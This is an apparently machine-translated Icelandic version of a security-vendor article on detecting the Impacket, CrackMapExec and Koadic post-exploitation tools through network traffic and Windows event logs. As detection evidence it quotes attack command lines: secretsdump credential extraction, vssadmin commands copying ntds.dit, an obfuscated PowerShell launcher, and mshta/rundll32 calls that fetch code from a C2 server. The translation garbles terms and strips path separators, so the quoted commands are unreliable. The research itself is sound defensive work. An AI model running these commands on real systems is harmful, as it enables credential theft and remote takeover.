Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri

Fjöldi árása í fyrirtækjageiranum eykst á hverju ári: til dæmis árið 2017 voru skráð 13% fleiri einstök atvik en árið 2016, og í lok árs 2018 - 27% fleiri atviken á fyrra tímabili. Þar á meðal þau þar sem aðalvinnutækið er Windows stýrikerfið. Árið 2017-2018, APT Dragonfly, APT28, APT MuddyWater gert árásir á stjórnvöld og hernaðarsamtök í Evrópu, Norður-Ameríku og Sádi-Arabíu. Og við notuðum þrjú verkfæri fyrir þetta - Impacket, CrackMapExec и Koadic. Frumkóði þeirra er opinn og fáanlegur á GitHub.

Það er athyglisvert að þessi verkfæri eru ekki notuð fyrir upphaflega skarpskyggni, heldur til að þróa árás innan innviða. Árásarmenn nota þá á mismunandi stigum árásarinnar eftir að hafa farið inn í jaðarinn. Þetta er, við the vegur, erfitt að greina og oft aðeins með hjálp tækni greina ummerki um málamiðlun í netumferð eða verkfæri sem leyfa greina virkar aðgerðir árásarmanns eftir að hann hefur komist inn í innviðina. Verkfærin bjóða upp á margvíslegar aðgerðir, allt frá því að flytja skrár til að hafa samskipti við skrárinn og framkvæma skipanir á ytri vél. Við gerðum rannsókn á þessum verkfærum til að ákvarða netvirkni þeirra.

Það sem við þurftum að gera:

  • Skildu hvernig reiðhestur verkfæri virka. Finndu út hvað árásarmenn þurfa að nýta sér og hvaða tækni þeir geta notað.
  • Finndu það sem er ekki greint með upplýsingaöryggisverkfærum á fyrstu stigum árásar. Hægt er að sleppa könnunarferlinu, annaðhvort vegna þess að árásarmaðurinn er innri árásarmaður eða vegna þess að árásarmaðurinn er að nýta sér gat í innviðum sem ekki var þekkt áður. Það verður hægt að endurheimta alla keðju aðgerða hans, þess vegna löngunin til að greina frekari hreyfingu.
  • Fjarlægðu rangar jákvæðar frá innbrotsskynjunartækjum. Við megum ekki gleyma því að þegar tilteknar aðgerðir eru uppgötvaðar á grundvelli könnunar eingöngu eru tíðar villur mögulegar. Venjulega eru í innviðunum nægilega margar leiðir, óaðgreinanlegar frá lögmætum við fyrstu sýn, til að fá upplýsingar.

Hvað gefa þessi verkfæri árásarmönnum? Ef þetta er Impacket, þá fá árásarmenn mikið safn af einingum sem hægt er að nota á mismunandi stigum árásarinnar sem fylgja eftir að hafa rofið jaðarinn. Mörg verkfæri nota Impacket einingar innbyrðis - til dæmis Metasploit. Það hefur dcomexec og wmiexec fyrir fjarstjórnarframkvæmd, secretsdump til að fá reikninga úr minni sem er bætt við frá Impacket. Þar af leiðandi mun rétt uppgötvun á virkni slíks safns tryggja greiningu á afleiðum.

Það er engin tilviljun að höfundarnir skrifuðu „Powered by Impacket“ um CrackMapExec (eða einfaldlega CME). Að auki hefur CME tilbúna virkni fyrir vinsælar aðstæður: Mimikatz til að fá lykilorð eða kjötkássa þeirra, útfærslu Meterpreter eða Empire agent fyrir fjarframkvæmd og Bloodhound um borð.

Þriðja tólið sem við völdum var Koadic. Það er frekar nýlegt, það var kynnt á alþjóðlegu tölvuþrjótaráðstefnunni DEFCON 25 árið 2017 og einkennist af óstöðluðu nálgun: það virkar í gegnum HTTP, Java Script og Microsoft Visual Basic Script (VBS). Þessi nálgun er kölluð að lifa af landi: tólið notar sett af ósjálfstæði og bókasöfnum sem eru innbyggð í Windows. Höfundarnir kalla það COM Command & Control, eða C3.

IMPACKET

Virkni Impacket er mjög víðtæk, allt frá könnun inni í AD og söfnun gagna frá innri MS SQL netþjónum, til tækni til að fá skilríki: þetta er SMB gengisárás og að fá ntds.dit skrána sem inniheldur kjötkássa af lykilorði notenda frá lénsstýringu. Impacket framkvæmir einnig fjarskipanir með fjórum mismunandi aðferðum: WMI, Windows Scheduler Management Service, DCOM og SMB og krefst skilríkja til að gera það.

Secretsdump

Við skulum kíkja á secretsdump. Þetta er eining sem getur miðað á bæði notendavélar og lénsstýringar. Það er hægt að nota til að fá afrit af minnissvæðum LSA, SAM, SECURITY, NTDS.dit, svo það sést á mismunandi stigum árásarinnar. Fyrsta skrefið í rekstri einingarinnar er auðkenning í gegnum SMB, sem krefst annað hvort lykilorðs notandans eða kjötkássa til að framkvæma Pass the Hash árásina sjálfkrafa. Næst kemur beiðni um að opna aðgang að Service Control Manager (SCM) og fá aðgang að skránni í gegnum winreg-samskiptareglur, þar sem árásarmaður getur fundið gögn um áhugasvið og fengið niðurstöður í gegnum SMB.

Í mynd. 1 sjáum við hvernig nákvæmlega þegar Winreg samskiptareglur eru notaðar er aðgangur fengin með því að nota skrásetningarlykil með LSA. Til að gera þetta, notaðu DCERPC skipunina með opcode 15 - OpenKey.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 1. Opnun skrásetningarlykils með winreg samskiptareglum

Næst, þegar aðgangur að lyklinum er fengin, eru gildin vistuð með SaveKey skipuninni með opcode 20. Impacket gerir þetta á mjög sérstakan hátt. Það vistar gildin í skrá sem heitir strengur með 8 handahófskenndum stöfum með .tmp. Að auki fer frekari upphleðsla þessarar skráar í gegnum SMB úr System32 skránni (mynd 2).

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 2. Skipulag til að fá skrásetningarlykil frá ytri vél

Það kemur í ljós að slík virkni á netinu er hægt að greina með fyrirspurnum til ákveðinna skrásetningarútibúa með því að nota winreg samskiptareglur, sérstök nöfn, skipanir og röð þeirra.

Þessi eining skilur einnig eftir sig ummerki í Windows atburðaskránni, sem gerir það auðvelt að greina hana. Til dæmis, sem afleiðing af framkvæmd skipunarinnar

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Í Windows Server 2016 skránni munum við sjá eftirfarandi lykilröð atburða:

1. 4624 - fjartenging.
2. 5145 - athuga aðgangsrétt að winreg fjarþjónustunni.
3. 5145 - athuga skráaaðgangsréttindi í System32 skránni. Skráin hefur handahófsheitið sem nefnt er hér að ofan.
4. 4688 - að búa til cmd.exe ferli sem ræsir vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - búa til ferli með skipuninni:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - búa til ferli með skipuninni:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - búa til ferli með skipuninni:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Eins og mörg verkfæri eftir nýtingu, hefur Impacket einingar til að keyra skipanir úr fjarlægð. Við munum einbeita okkur að smbexec, sem býður upp á gagnvirka stjórnskel á ytri vél. Þessi eining krefst einnig auðkenningar í gegnum SMB, annað hvort með lykilorði eða lykilorðahash. Í mynd. Á mynd 3 sjáum við dæmi um hvernig slíkt tól virkar, í þessu tilfelli er það staðbundin stjórnborð.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 3. Gagnvirk smbexec leikjatölva

Fyrsta skref smbexec eftir auðkenningu er að opna SCM með OpenSCManagerW skipuninni (15). Fyrirspurnin er athyglisverð: reiturinn MachineName er DUMMY.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 4. Beiðni um að opna þjónustustýringarstjóra

Næst er þjónustan búin til með því að nota CreateServiceW skipunina (12). Þegar um smbexec er að ræða getum við séð sömu skipanabyggingarlógíkina í hvert skipti. Í mynd. 5 grænn gefur til kynna óbreytanlegar stjórnbreytur, gulur gefur til kynna hverju árásarmaður getur breytt. Það er auðvelt að sjá að hægt er að breyta nafni keyrsluskráarinnar, möppu hennar og úttaksskrá, en restinni er mun erfiðara að breyta án þess að trufla rökfræði Impacket einingarinnar.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 5. Beiðni um að búa til þjónustu með því að nota þjónustustýringarstjóra

Smbexec skilur einnig eftir sig augljós ummerki í Windows atburðaskránni. Í Windows Server 2016 skránni fyrir gagnvirku skipanaskelina með ipconfig skipuninni munum við sjá eftirfarandi lyklaröð atburða:

1. 4697 — uppsetning þjónustunnar á vél fórnarlambsins:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - stofnun cmd.exe ferlisins með rökunum frá 1. lið.
3. 5145 - athuga aðgangsrétt að __úttaksskránni í C$ möppunni.
4. 4697 - uppsetning þjónustunnar á vél fórnarlambsins.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - stofnun cmd.exe ferlisins með rökunum frá 4. lið.
6. 5145 - athuga aðgangsrétt að __úttaksskránni í C$ möppunni.

Impacket er grunnurinn að þróun árásartækja. Það styður næstum allar samskiptareglur í Windows innviðum og hefur á sama tíma sína eigin einkenni. Hér eru sérstakar winreg beiðnir, og notkun SCM API með einkennandi skipanamyndun, og skráarnafnasniðið og SMB share SYSTEM32.

CRACKMAPEXEC

CME tólið er hannað fyrst og fremst til að gera sjálfvirkar þær venjubundnar aðgerðir sem árásarmaður þarf að framkvæma til að komast áfram innan netsins. Það gerir þér kleift að vinna með hinum þekkta Empire umboðsmanni og Meterpreter. Til að framkvæma skipanir leynilega getur CME ruglað þær. Með því að nota Bloodhound (sérstakt könnunartæki) getur árásarmaður gert sjálfvirkan leit að virkri lénsstjórnandalotu.

Bloodhound

Bloodhound, sem sjálfstætt tól, gerir ráð fyrir háþróaðri könnun innan netsins. Það safnar gögnum um notendur, vélar, hópa, fundi og er afhent sem PowerShell forskrift eða tvöfaldur skrá. LDAP eða SMB-undirstaða samskiptareglur eru notaðar til að safna upplýsingum. CME samþættingareiningin gerir kleift að hlaða Bloodhound niður á vél fórnarlambsins, keyra og taka á móti söfnuðu gögnunum eftir framkvæmd, þannig að gera sjálfvirkar aðgerðir í kerfinu og gera þær minna áberandi. Bloodhound grafíska skelin sýnir söfnuð gögn í formi línurita, sem gerir þér kleift að finna stystu leiðina frá vél árásarmannsins til lénsstjórans.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 6. Bloodhound tengi

Til að keyra á vél fórnarlambsins býr einingin til verkefni með því að nota ATSVC og SMB. ATSVC er viðmót til að vinna með Windows Task Scheduler. CME notar NetrJobAdd(1) aðgerðina sína til að búa til verkefni yfir netið. Dæmi um það sem CME einingin sendir er sýnt á mynd. 7: Þetta er cmd.exe skipanakall og hulinn kóði í formi röksemda á XML sniði.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Mynd.7. Að búa til verkefni í gegnum CME

Eftir að verkefnið hefur verið sent til framkvæmdar ræsir vél fórnarlambsins sjálfan Bloodhound og það sést í umferðinni. Einingin einkennist af LDAP fyrirspurnum til að fá staðlaða hópa, lista yfir allar vélar og notendur á léninu og fá upplýsingar um virkar notendalotur í gegnum SRVSVC NetSessEnum beiðnina.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 8. Að fá lista yfir virka fundi í gegnum SMB

Að auki fylgir ræsingu Bloodhound á vél fórnarlambs með endurskoðun virkt viðburður með auðkenni 4688 (ferlissköpun) og ferlisheiti «C:WindowsSystem32cmd.exe». Það sem er athyglisvert við það eru skipanalínurökin:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Enum_avproducts einingin er mjög áhugaverð frá sjónarhóli virkni og útfærslu. WMI gerir þér kleift að nota WQL fyrirspurnarmálið til að sækja gögn úr ýmsum Windows hlutum, sem er í meginatriðum það sem þessi CME eining notar. Það býr til fyrirspurnir til AntiSpywareProduct og AntiМirusProduct flokkanna um verndarverkfærin sem eru uppsett á vél fórnarlambsins. Til þess að fá nauðsynleg gögn tengist einingin við rootSecurityCenter2 nafnrýmið, býr síðan til WQL fyrirspurn og fær svar. Í mynd. Mynd 9 sýnir innihald slíkra beiðna og svara. Í dæminu okkar fannst Windows Defender.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 9. Netvirkni enum_avproducts einingarinnar

Oft getur WMI endurskoðun (Trace WMI-Activity), þar sem þú getur fundið gagnlegar upplýsingar um WQL fyrirspurnir, verið óvirk. En ef það er virkt, ef enum_avproducts forskriftin er keyrð, verður vistaður atburður með auðkenni 11. Hann mun innihalda nafn notandans sem sendi beiðnina og nafnið í rootSecurityCenter2 nafnrýminu.

Hver af CME einingunum hafði sína eigin gripi, hvort sem það voru sérstakar WQL fyrirspurnir eða stofnun ákveðinnar tegundar verkefna í verkefnaáætlun með obfuscation og Bloodhound sértæka virkni í LDAP og SMB.

KOADIC

Einkennandi eiginleiki Koadic er notkun JavaScript og VBScript túlka sem eru innbyggðir í Windows. Í þessum skilningi fylgir það þeim sem lifa af landþróuninni - það er, það hefur enga utanaðkomandi ósjálfstæði og notar staðlað Windows verkfæri. Þetta er tæki fyrir fulla stjórn og stjórn (CnC), þar sem eftir sýkingu er „ígræðsla“ sett upp á vélina, sem gerir kleift að stjórna henni. Slík vél, í Koadic hugtökum, er kölluð „uppvakningur“. Ef það eru ófullnægjandi réttindi fyrir fullan rekstur á hlið fórnarlambsins, hefur Koadic getu til að hækka þau með því að nota User Account Control framhjá (UAC framhjá) tækni.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 10. Koadic Shell

Fórnarlambið verður að hefja samskipti við stjórn- og stjórnunarþjóninn. Til að gera þetta þarf hún að hafa samband við áður tilbúinn URI og taka á móti aðal Koadic líkamanum með því að nota einn af stigunum. Í mynd. Mynd 11 sýnir dæmi fyrir mshta stager.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 11. Frumstillir lotu með CnC þjóninum

Byggt á svarbreytunni WS verður ljóst að keyrsla á sér stað í gegnum WScript.Shell og breyturnar STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE innihalda lykilupplýsingar um færibreytur núverandi lotu. Þetta er fyrsta beiðni-svar parið í HTTP tengingu við CnC netþjón. Síðari beiðnir eru í beinum tengslum við virkni kallaðra eininga (ígræðslu). Allar Koadic einingar virka aðeins með virkri lotu með CnC.

Mimikatz

Rétt eins og CME vinnur með Bloodhound, vinnur Koadic með Mimikatz sem sérstakt forrit og hefur margar leiðir til að ræsa það. Hér að neðan er beiðni-svar par til að hlaða niður Mimikatz vefjalyfinu.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 12. Flytja Mimikatz til Koadic

Þú getur séð hvernig URI sniðið í beiðninni hefur breyst. Það inniheldur nú gildi fyrir csrf breytuna, sem er ábyrg fyrir valinni einingu. Ekki gefa gaum að nafni hennar; Við vitum öll að CSRF er venjulega skilið öðruvísi. Svarið var sama meginmál Koadic, sem kóða tengdur Mimikatz var bætt við. Það er nokkuð stórt, svo við skulum skoða lykilatriðin. Hér höfum við Mimikatz bókasafnið sem er umritað í base64, raðnúmeraðan .NET flokk sem mun sprauta því, og rök til að ræsa Mimikatz. Framkvæmdarniðurstaðan er send yfir netið í skýrum texta.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 13. Niðurstaða af því að keyra Mimikatz á fjarlægri vél

Exec_cmd

Koadic er einnig með einingar sem geta framkvæmt skipanir úr fjarlægð. Hér munum við sjá sömu URI kynslóðaraðferðina og þekktu sid og csrf breyturnar. Í tilviki exec_cmd einingarinnar er kóða bætt við meginmálið sem er fær um að framkvæma skel skipanir. Hér að neðan er sýndur slíkur kóði sem er í HTTP svari CnC netþjónsins.

Hvernig á að greina árásir á Windows innviði: að læra tölvuþrjótaverkfæri
Hrísgrjón. 14. Ígræðslukóði exec_cmd

GAWTUUGCFI breytan með kunnuglega WS eigindinni er nauðsynleg til að keyra kóða. Með hjálp hennar kallar vefjalyfið á skelina og vinnur úr tveimur greinum kóða - shell.exec með endurkomu úttaksgagnastraumsins og shell.run án þess að snúa aftur.

Koadic er ekki dæmigert tæki, en það hefur sína eigin gripi sem hægt er að finna það í lögmætri umferð:

  • sérstök myndun HTTP beiðna,
  • með því að nota winHttpRequests API,
  • búa til WScript.Shell hlut í gegnum ActiveXObject,
  • stórt framkvæmanlegt líkama.

Upphafstengingin er hafin af sviðsstjóranum, svo það er hægt að greina virkni hennar í gegnum Windows atburði. Fyrir mshta er þetta atburður 4688, sem gefur til kynna stofnun ferlis með upphafseigindinni:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Á meðan Koadic er í gangi geturðu séð aðra 4688 atburði með eiginleikum sem einkenna hann fullkomlega:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Niðurstöður

Það að lifa af landstefnunni nýtur vinsælda meðal glæpamanna. Þeir nota verkfærin og kerfin sem eru innbyggð í Windows fyrir þarfir þeirra. Við erum að sjá vinsæl verkfæri Koadic, CrackMapExec og Impacket sem fylgja þessari reglu birtast í auknum mæli í APT skýrslum. Fjöldi gaffla á GitHub fyrir þessi verkfæri er líka að aukast og nýir eru að birtast (þar eru nú þegar um þúsund af þeim). Þróunin nýtur vinsælda vegna einfaldleika hennar: árásarmenn þurfa ekki verkfæri frá þriðja aðila; þeir eru nú þegar á vélum fórnarlambanna og hjálpa þeim að komast framhjá öryggisráðstöfunum. Við leggjum áherslu á að rannsaka netsamskipti: hvert tól sem lýst er hér að ofan skilur eftir sig spor í netumferð; nákvæm rannsókn á þeim gerði okkur kleift að kenna vöruna okkar PT Network Attack Discovery uppgötva þá, sem á endanum hjálpar til við að rannsaka alla keðju netatvika sem tengjast þeim.

Höfundar:

  • Anton Tyurin, yfirmaður sérfræðiþjónustudeildar, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, sérfræðingur, PT Expert Security Center, Positive Technologies

Heimild: www.habr.com

Bæta við athugasemd